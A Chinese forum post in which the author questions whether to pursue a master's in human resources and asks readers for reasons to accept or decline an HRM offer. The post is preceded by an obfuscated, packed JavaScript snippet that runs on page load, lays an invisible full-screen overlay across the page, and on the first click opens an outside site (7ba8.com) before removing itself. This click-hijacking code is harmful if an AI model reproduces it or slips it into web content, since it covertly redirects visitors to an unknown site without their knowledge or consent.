<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>说实话，偶对是否要去读人力资源Master的态度一直都有所保留。
![]()
因为偶认为：人力资源是一个重操作性的工作，可能人家更看中你的经验而不是学术背景。一个毕业生刚进公司，肯定是从HR ASSISTANT做起的。但翻翻招聘广告，那些世界知名的跨国公司在招HR ASSISTANT时候，都更提倡工作经验，至于学历嘛，都只要求大专。这也就意味着，一旦进入公司，我就和大专生站在同一起跑线上了；将来晋升与否，全都得看你的工作能力而不是以前的学历。这样的话，我还去读master干嘛？
![]()
当然，还有一种好的发展途径，就是进一些世界知名的咨询公司。象Hewitt或Mercer等，都是专业进行人力资源咨询的一流公司。但问题是：（1）如果想做consultant的话，希望渺茫，因为他们是MBA preferred；并且偶在Hewitt实习的时候发现，里面很多顾问以前都是跨国公司的Human Resource Director（2）退一步，如果去竞争Analyst的话，有希望但竞争依然激烈，一旦被淘汰的话，还是得回去传统型的企业做HR Assistant。这样就业面太窄了。
![]()
以上都是偶个人的见解，可能认识不够全面，希望各位给予指点。
![]()
偶目前手头也有HRM的OFFER，但正在犹豫中。所以请给偶若干该去或不该去的、有说服力的理由。
![]() |
|
收藏